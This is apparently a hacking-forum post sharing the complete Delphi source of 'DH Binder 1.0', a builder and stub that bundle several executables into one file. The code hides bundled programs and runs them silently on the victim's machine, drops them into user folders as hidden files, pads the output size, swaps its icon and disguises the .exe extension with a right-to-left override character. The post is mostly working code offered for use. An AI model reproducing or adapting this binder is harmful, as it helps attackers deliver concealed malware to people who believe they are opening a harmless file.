• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Delphi [Delphi] DH Binder 1.0 By Doddy

Status
Not open for further replies.

F.I.G.H.T.E.R

ϻɵĐęřåŦō&#1136
User
Joined
Mar 26, 2013
Messages
975
Reputation
0
Reaction score
15,790
Points
493
Credits
0
‎12 Years of Service‎
20%
[Delphi] DH Binder 1.0 By Doddy

This link is hidden for visitors. Please Log in or register now.


[+] Put all the files you want with the normal option, hidden or just remove load

[+] Select where the files are extracted

[+] You can upload files normally hidden form or

[+] You can hide files

[+] You can choose the icon of the executable generated

[+] The builder includes a File Pumper, Icon Changer and Extension Spoofer

Generator Code :

[HIDE-THANKS]

Code:
>// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit binder;

interface

uses
 Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
 System.Classes, Vcl.Graphics,
 Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
 Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
 StrUtils;

type
 TForm1 = class(TForm)
   PageControl1: TPageControl;
   TabSheet1: TTabSheet;
   TabSheet2: TTabSheet;
   TabSheet3: TTabSheet;
   PageControl2: TPageControl;
   TabSheet4: TTabSheet;
   TabSheet5: TTabSheet;
   GroupBox1: TGroupBox;
   PageControl3: TPageControl;
   TabSheet6: TTabSheet;
   TabSheet7: TTabSheet;
   TabSheet8: TTabSheet;
   files: TListView;
   StatusBar1: TStatusBar;
   GroupBox2: TGroupBox;
   archivo_nuevo: TEdit;
   Button1: TButton;
   GroupBox3: TGroupBox;
   execute: TComboBox;
   abrir: TOpenDialog;
   GroupBox4: TGroupBox;
   Button2: TButton;
   GroupBox5: TGroupBox;
   extraction: TComboBox;
   GroupBox6: TGroupBox;
   opcion_ocultar: TCheckBox;
   check_filepumper: TCheckBox;
   GroupBox7: TGroupBox;
   GroupBox8: TGroupBox;
   pumper_count: TEdit;
   UpDown1: TUpDown;
   pumper_type: TComboBox;
   check_extension_changer: TCheckBox;
   GroupBox9: TGroupBox;
   check_extension: TCheckBox;
   extensiones: TComboBox;
   GroupBox10: TGroupBox;
   check_this_extension: TCheckBox;
   extension: TEdit;
   GroupBox11: TGroupBox;
   ruta_icono: TEdit;
   Button3: TButton;
   GroupBox12: TGroupBox;
   use_icon_changer: TCheckBox;
   preview: TImage;
   imagenes: TImageList;
   menu: TPopupMenu;
   C1: TMenuItem;
   Image2: TImage;
   GroupBox13: TGroupBox;
   Button4: TButton;
   TabSheet9: TTabSheet;
   GroupBox14: TGroupBox;
   Image3: TImage;
   Label1: TLabel;
   D1: TMenuItem;
   abrir_icono: TOpenDialog;
   procedure Button1Click(Sender: TObject);
   procedure Button3Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
   procedure C1Click(Sender: TObject);
   procedure Button4Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure D1Click(Sender: TObject);

 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure file_pumper(archivo: string; cantidad: LongWord);
var
 arraycantidad: array of Byte;
 abriendo: TFileStream;
begin
 abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
 SetLength(arraycantidad, cantidad);
 ZeroMemory(@arraycantidad[1], cantidad);
 abriendo.Seek(0, soFromEnd);
 abriendo.Write(arraycantidad[0], High(arraycantidad));
 abriendo.Free;
end;

procedure extension_changer(archivo: string; extension: string);
var
 nombre: string;
begin
 nombre := ExtractFileName(archivo);
 nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
   [rfReplaceAll, rfIgnoreCase]);
 nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
 MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
begin
 if (abrir.execute) then
 begin
   archivo_nuevo.Text := abrir.FileName;
 end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 icono: TIcon;
 listate: TListItem;
 getdata: SHFILEINFO;
begin

 if (FileExists(archivo_nuevo.Text)) then
 begin
   icono := TIcon.Create;
   files.Items.BeginUpdate;

   with files do
   begin

     listate := files.Items.Add;

     listate.Caption := ExtractFileName(archivo_nuevo.Text);
     listate.SubItems.Add(archivo_nuevo.Text);
     listate.SubItems.Add(ExtractFileExt(archivo_nuevo.  Text));
     listate.SubItems.Add(execute.Text);

     SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
       SHGFI_ICON or SHGFI_SMALLICON);
     icono.Handle := getdata.hIcon;
     listate.ImageIndex := imagenes.AddIcon(icono);

     DestroyIcon(getdata.hIcon);

   end;

   files.Items.EndUpdate;

   archivo_nuevo.Text := '';

   StatusBar1.Panels[0].Text := '[+] File Added';
   Form1.StatusBar1.Update;
 end
 else
 begin
   StatusBar1.Panels[0].Text := '[-] File not exists';
   Form1.StatusBar1.Update;
 end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
 if (abrir_icono.execute) then
 begin
   ruta_icono.Text := abrir_icono.FileName;
   preview.Picture.LoadFromFile(abrir_icono.FileName)  ;
 end;
end;

procedure TForm1.Button4Click(Sender: TObject);
var
 i: integer;
 nombre: string;
 ruta: string;
 tipo: string;
 savein: string;
 opcionocultar: string;
 lineafinal: string;
 uno: DWORD;
 tam: DWORD;
 dos: DWORD;
 tres: DWORD;
 todo: Pointer;
 change: DWORD;
 valor: string;
 stubgenerado: string;
 ruta_archivo: string;
 tipocantidadz: string;
 extensionacambiar: string;

begin

 StatusBar1.Panels[0].Text := '[+] Working ...';
 Form1.StatusBar1.Update;

 if (files.Items.Count = 0) or (files.Items.Count = 1) then
 begin
   ShowMessage('You have to choose two or more files');
 end
 else
 begin
   stubgenerado := 'done.exe';

   if (opcion_ocultar.Checked = True) then
   begin
     opcionocultar := '1';
   end
   else
   begin
     opcionocultar := '0';
   end;

   if (extraction.Items[extraction.ItemIndex] = '') then
   begin
     savein := 'USERPROFILE';
   end
   else
   begin
     savein := extraction.Items[extraction.ItemIndex];
   end;

   DeleteFile(stubgenerado);
   CopyFile(PChar(ExtractFilePath(Application.ExeName  ) + '/' +
     'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
     stubgenerado), True);

   ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;

   uno := BeginUpdateResource(PChar(ruta_archivo), True);

   for i := 0 to files.Items.Count - 1 do
   begin

     nombre := files.Items[i].Caption;
     ruta := files.Items[i].SubItems[0];
     tipo := files.Items[i].SubItems[2];

     lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
       '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
     lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
       '[63686175]';

     dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
     tam := GetFileSize(dos, nil);
     GetMem(todo, tam);
     ReadFile(dos, todo^, tam, tres, nil);
     CloseHandle(dos);
     UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
       MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

   end;

   EndUpdateResource(uno, False);

 end;

 //

 if (check_filepumper.Checked) then
 begin
   tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
   if (tipocantidadz = 'Byte') then
   begin
     file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
   end;
   if (tipocantidadz = 'KiloByte') then
   begin
     file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
   end;
   if (tipocantidadz = 'MegaByte') then
   begin
     file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
   end;
   if (tipocantidadz = 'GigaByte') then
   begin
     file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
   end;
   if (tipocantidadz = 'TeraByte') then
   begin
     file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
   end;
 end;

 if (use_icon_changer.Checked) then
 begin
   try
     begin
       change := BeginUpdateResourceW
         (PWideChar(wideString(ruta_archivo)), False);
       LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
         PWideChar(wideString(ruta_icono.Text)));
       EndUpdateResourceW(change, False);
     end;
   except
     begin
       //
     end;
   end;
 end;

 if (check_extension_changer.Checked) then
 begin
   if not(check_extension.Checked and check_this_extension.Checked) then
   begin
     if (check_extension.Checked) then
     begin
       extensionacambiar := extensiones.Items[extensiones.ItemIndex];
       extension_changer(ruta_archivo, extensionacambiar);
     end;
     if (check_this_extension.Checked) then
     begin
       extension_changer(ruta_archivo, extension.Text);
     end;
   end;
 end;

 StatusBar1.Panels[0].Text := '[+] Done';
 Form1.StatusBar1.Update;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
 files.Clear;
 imagenes.Clear;
end;

procedure TForm1.D1Click(Sender: TObject);
begin
 files.DeleteSelected;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 abrir.InitialDir := GetCurrentDir;
 abrir_icono.InitialDir := GetCurrentDir;
 abrir_icono.Filter := 'ICO|*.ico|';
end;

end.

// The End ?
[/HIDE-THANKS]

Stub Code :

[HIDE-THANKS]

Code:
>// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
 System.SysUtils, ShellApi, Windows;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

procedure cargar_archivo(archivo: TFileName; tipo: string);
var
 data: SHELLEXECUTEINFO;
begin
 if (FileExists(archivo)) then
 begin
   ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
   data.cbSize := SizeOf(SHELLEXECUTEINFO);
   data.fMask := SEE_MASK_NOCLOSEPROCESS;
   data.Wnd := 0;
   data.lpVerb := 'open';
   data.lpFile := PChar(archivo);
   if (tipo = 'Show') then
   begin
     data.nShow := SW_SHOWNORMAL;
   end;
   if (tipo = 'Hide') then
   begin
     data.nShow := SW_HIDE;
   end;
   if not ShellExecuteEx(@data) then
     if GetLastError <= 32 then
     begin
       SysErrorMessage(GetLastError);
     end;
 end;
end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
 data: DWORD;
 uno: DWORD;
 dos: DWORD;
 cinco2: string;
 nombre: string;
 tipodecarga: string;
 ruta: string;
 ocultar: string;

begin

 Result := True;

 cinco2 := cinco;
 cinco2 := regex(cinco2, '[63686175]', '[63686175]');
 cinco2 := dhencode(cinco2, 'decode');
 cinco2 := LowerCase(cinco2);

 nombre := regex(cinco2, '[nombre]', '[nombre]');
 tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
 ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
 ocultar := regex(cinco2, '[hide]', '[hide]');

 if not(tipodecarga = '') then
 begin
   data := FindResource(0, cinco, cuatro);

   uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
     nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   WriteFile(uno, LockResource(LoadResource(0, data))^,
     SizeOfResource(0, data), dos, nil);

   CloseHandle(uno);

   if (ocultar = '1') then
   begin
     SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
   end;

   if (tipodecarga = 'normal') then
   begin
     // Writeln('Abriendo normal');
     cargar_archivo(ruta + nombre, 'Show');
   end;
   if (tipodecarga = 'hide') then
   begin
     // Writeln('Abriendo oculto');
     cargar_archivo(ruta + nombre, 'Hide');
   end;
 end;
end;

begin

 EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?
[/HIDE-THANKS]

This link is hidden for visitors. Please Log in or register now.


[HIDE-THANKS]
This link is hidden for visitors. Please Log in or register now.



This link is hidden for visitors. Please Log in or register now.
[/HIDE-THANKS]




 
Status
Not open for further replies.
Back
Top